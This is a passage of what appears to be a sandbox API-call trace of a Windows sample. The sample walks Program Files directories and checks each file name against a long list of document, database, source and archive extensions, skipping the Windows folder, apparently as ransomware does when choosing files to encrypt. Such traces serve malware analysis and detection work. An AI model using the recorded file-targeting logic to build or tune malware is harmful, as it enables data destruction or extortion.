lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pfx") returned 4 [0250.951] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".pgm") returned 4 [0250.951] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".php") returned 4 [0250.951] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0250.951] lstrlenW (lpString=".php3") returned 5 [0250.951] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1 [0250.951] lstrlenW (lpString=".php4") returned 5 [0250.951] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1 [0250.951] lstrlenW (lpString=".php5") returned 5 [0250.951] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1 [0250.951] lstrlenW (lpString=".phtml") returned 6 [0250.951] lstrcmpiW (lpString1=".phtml", lpString2="nt.dll") returned -1 [0250.951] lstrlenW (lpString=".pict") returned 5 [0250.951] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1 [0250.951] lstrlenW (lpString=".pl") returned 3 [0250.951] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0250.951] lstrlenW (lpString=".pls") returned 4 [0250.951] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".pm") returned 3 [0250.952] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0250.952] lstrlenW (lpString=".png") returned 4 [0250.952] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".pnm") returned 4 [0250.952] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".pot") returned 4 [0250.952] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".potm") returned 5 [0250.952] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".potx") returned 5 [0250.952] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".ppa") returned 4 [0250.952] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".ppam") returned 5 [0250.952] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".ppm") returned 4 [0250.952] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".pps") returned 4 [0250.952] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".ppsm") returned 5 [0250.952] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".ppt") returned 4 [0250.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.952] lstrlenW (lpString=".pptm") returned 5 [0250.952] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".pptx") returned 5 [0250.952] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1 [0250.952] lstrlenW (lpString=".prn") returned 4 [0250.952] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".ps") returned 3 [0250.953] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0250.953] lstrlenW (lpString=".psb") returned 4 [0250.953] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".psd") returned 4 [0250.953] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".pst") returned 4 [0250.953] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".ptx") returned 4 [0250.953] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".pub") returned 4 [0250.953] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0250.953] lstrlenW (lpString=".pwm") returned 4 [0250.953] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0250.953] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.953] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.953] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0250.953] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0250.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.953] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0250.954] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0250.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.954] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0250.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4198320 [0250.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox") returned 74 [0250.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd08 [0250.954] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.954] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0250.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 82 [0250.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 1 [0250.954] lstrlenW (lpString="plugins") returned 7 [0250.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0250.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 82 [0250.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.954] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.954] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1 [0250.955] lstrlenW (lpString="npMeetingJoinPluginOC.dll") returned 25 [0250.955] lstrlenW (lpString=".1cd") returned 4 [0250.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".3ds") returned 4 [0250.955] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".3fr") returned 4 [0250.955] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".3g2") returned 4 [0250.955] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".3gp") returned 4 [0250.955] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".7z") returned 3 [0250.955] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.955] lstrlenW (lpString=".accda") returned 6 [0250.955] lstrcmpiW (lpString1=".accda", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".accdb") returned 6 [0250.955] lstrcmpiW (lpString1=".accdb", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".accdc") returned 6 [0250.955] lstrcmpiW (lpString1=".accdc", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".accde") returned 6 [0250.955] lstrcmpiW (lpString1=".accde", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".accdt") returned 6 [0250.955] lstrcmpiW (lpString1=".accdt", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".accdw") returned 6 [0250.955] lstrcmpiW (lpString1=".accdw", lpString2="OC.dll") returned -1 [0250.955] lstrlenW (lpString=".adb") returned 4 [0250.955] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".adp") returned 4 [0250.955] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0250.955] lstrlenW (lpString=".ai") returned 3 [0250.955] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0250.955] lstrlenW (lpString=".ai3") returned 4 [0250.955] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ai4") returned 4 [0250.956] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ai5") returned 4 [0250.956] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ai6") returned 4 [0250.956] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ai7") returned 4 [0250.956] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ai8") returned 4 [0250.956] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".anim") returned 5 [0250.956] lstrcmpiW (lpString1=".anim", lpString2="C.dll") returned -1 [0250.956] lstrlenW (lpString=".arw") returned 4 [0250.956] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".as") returned 3 [0250.956] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0250.956] lstrlenW (lpString=".asa") returned 4 [0250.956] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".asc") returned 4 [0250.956] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".ascx") returned 5 [0250.956] lstrcmpiW (lpString1=".ascx", lpString2="C.dll") returned -1 [0250.956] lstrlenW (lpString=".asm") returned 4 [0250.956] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0250.956] lstrlenW (lpString=".asmx") returned 5 [0250.956] lstrcmpiW (lpString1=".asmx", lpString2="C.dll") returned -1 [0251.207] lstrlenW (lpString=".asp") returned 4 [0251.207] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".aspx") returned 5 [0251.207] lstrcmpiW (lpString1=".aspx", lpString2="C.dll") returned -1 [0251.207] lstrlenW (lpString=".asr") returned 4 [0251.207] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".asx") returned 4 [0251.207] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".avi") returned 4 [0251.207] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".avs") returned 4 [0251.207] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".backup") returned 7 [0251.207] lstrcmpiW (lpString1=".backup", lpString2="nOC.dll") returned -1 [0251.207] lstrlenW (lpString=".bak") returned 4 [0251.207] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".bay") returned 4 [0251.207] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".bd") returned 3 [0251.207] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0251.207] lstrlenW (lpString=".bin") returned 4 [0251.207] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".bmp") returned 4 [0251.207] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".bz2") returned 4 [0251.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".c") returned 2 [0251.207] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0251.207] lstrlenW (lpString=".cdr") returned 4 [0251.207] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0251.207] lstrlenW (lpString=".cer") returned 4 [0251.208] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cf") returned 3 [0251.208] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0251.208] lstrlenW (lpString=".cfc") returned 4 [0251.208] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cfm") returned 4 [0251.208] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cfml") returned 5 [0251.208] lstrcmpiW (lpString1=".cfml", lpString2="C.dll") returned -1 [0251.208] lstrlenW (lpString=".cfu") returned 4 [0251.208] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".chm") returned 4 [0251.208] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cin") returned 4 [0251.208] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".class") returned 6 [0251.208] lstrcmpiW (lpString1=".class", lpString2="OC.dll") returned -1 [0251.208] lstrlenW (lpString=".clx") returned 4 [0251.208] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".config") returned 7 [0251.208] lstrcmpiW (lpString1=".config", lpString2="nOC.dll") returned -1 [0251.208] lstrlenW (lpString=".cpp") returned 4 [0251.208] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cr2") returned 4 [0251.208] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".crt") returned 4 [0251.208] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".crw") returned 4 [0251.208] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cs") returned 3 [0251.208] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0251.208] lstrlenW (lpString=".css") returned 4 [0251.208] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".csv") returned 4 [0251.208] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0251.208] lstrlenW (lpString=".cub") returned 4 [0251.208] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dae") returned 4 [0251.209] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dat") returned 4 [0251.209] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".db") returned 3 [0251.209] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0251.209] lstrlenW (lpString=".dbf") returned 4 [0251.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dbx") returned 4 [0251.209] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dc3") returned 4 [0251.209] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dcm") returned 4 [0251.209] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dcr") returned 4 [0251.209] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".der") returned 4 [0251.209] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dib") returned 4 [0251.209] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dic") returned 4 [0251.209] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".dif") returned 4 [0251.209] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0251.209] lstrlenW (lpString=".divx") returned 5 [0251.209] lstrcmpiW (lpString1=".divx", lpString2="C.dll") returned -1 [0251.209] lstrlenW (lpString=".djvu") returned 5 [0251.209] lstrcmpiW (lpString1=".djvu", lpString2="C.dll") returned -1 [0251.209] lstrlenW (lpString=".dng") returned 4 [0251.209] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0251.209] lstrlenW (lpString=".doc") returned 4 [0251.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.209] lstrlenW (lpString=".docm") returned 5 [0251.210] lstrcmpiW (lpString1=".docm", lpString2="C.dll") returned -1 [0251.210] lstrlenW (lpString=".docx") returned 5 [0251.210] lstrcmpiW (lpString1=".docx", lpString2="C.dll") returned -1 [0251.210] lstrlenW (lpString=".dot") returned 4 [0251.210] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dotm") returned 5 [0251.210] lstrcmpiW (lpString1=".dotm", lpString2="C.dll") returned -1 [0251.210] lstrlenW (lpString=".dotx") returned 5 [0251.210] lstrcmpiW (lpString1=".dotx", lpString2="C.dll") returned -1 [0251.210] lstrlenW (lpString=".dpx") returned 4 [0251.210] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dqy") returned 4 [0251.210] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dsn") returned 4 [0251.210] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dt") returned 3 [0251.210] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0251.210] lstrlenW (lpString=".dtd") returned 4 [0251.210] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dwg") returned 4 [0251.210] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dwt") returned 4 [0251.210] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".dx") returned 3 [0251.210] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0251.210] lstrlenW (lpString=".dxf") returned 4 [0251.210] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0251.210] lstrlenW (lpString=".edml") returned 5 [0251.210] lstrcmpiW (lpString1=".edml", lpString2="C.dll") returned -1 [0251.211] lstrlenW (lpString=".efd") returned 4 [0251.211] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".elf") returned 4 [0251.211] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".emf") returned 4 [0251.211] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".emz") returned 4 [0251.211] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".epf") returned 4 [0251.211] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".eps") returned 4 [0251.211] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".epsf") returned 5 [0251.211] lstrcmpiW (lpString1=".epsf", lpString2="C.dll") returned -1 [0251.211] lstrlenW (lpString=".epsp") returned 5 [0251.211] lstrcmpiW (lpString1=".epsp", lpString2="C.dll") returned -1 [0251.211] lstrlenW (lpString=".erf") returned 4 [0251.211] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".exr") returned 4 [0251.211] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".f4v") returned 4 [0251.211] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".fido") returned 5 [0251.211] lstrcmpiW (lpString1=".fido", lpString2="C.dll") returned -1 [0251.211] lstrlenW (lpString=".flm") returned 4 [0251.211] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0251.211] lstrlenW (lpString=".flv") returned 4 [0251.211] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".frm") returned 4 [0251.212] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".fxg") returned 4 [0251.212] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".geo") returned 4 [0251.212] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".gif") returned 4 [0251.212] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".grs") returned 4 [0251.212] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".gz") returned 3 [0251.212] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0251.212] lstrlenW (lpString=".h") returned 2 [0251.212] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0251.212] lstrlenW (lpString=".hdr") returned 4 [0251.212] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".hpp") returned 4 [0251.212] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".hta") returned 4 [0251.212] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".htc") returned 4 [0251.212] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".htm") returned 4 [0251.212] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".html") returned 5 [0251.212] lstrcmpiW (lpString1=".html", lpString2="C.dll") returned -1 [0251.212] lstrlenW (lpString=".icb") returned 4 [0251.212] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0251.212] lstrlenW (lpString=".ics") returned 4 [0251.212] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".iff") returned 4 [0251.213] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".inc") returned 4 [0251.213] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".indd") returned 5 [0251.213] lstrcmpiW (lpString1=".indd", lpString2="C.dll") returned -1 [0251.213] lstrlenW (lpString=".ini") returned 4 [0251.213] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".iqy") returned 4 [0251.213] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".j2c") returned 4 [0251.213] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".j2k") returned 4 [0251.213] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".java") returned 5 [0251.213] lstrcmpiW (lpString1=".java", lpString2="C.dll") returned -1 [0251.213] lstrlenW (lpString=".jp2") returned 4 [0251.213] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".jpc") returned 4 [0251.213] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".jpe") returned 4 [0251.213] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0251.213] lstrlenW (lpString=".jpeg") returned 5 [0251.213] lstrcmpiW (lpString1=".jpeg", lpString2="C.dll") returned -1 [0251.213] lstrlenW (lpString=".jpf") returned 4 [0251.213] lstrcmpiW 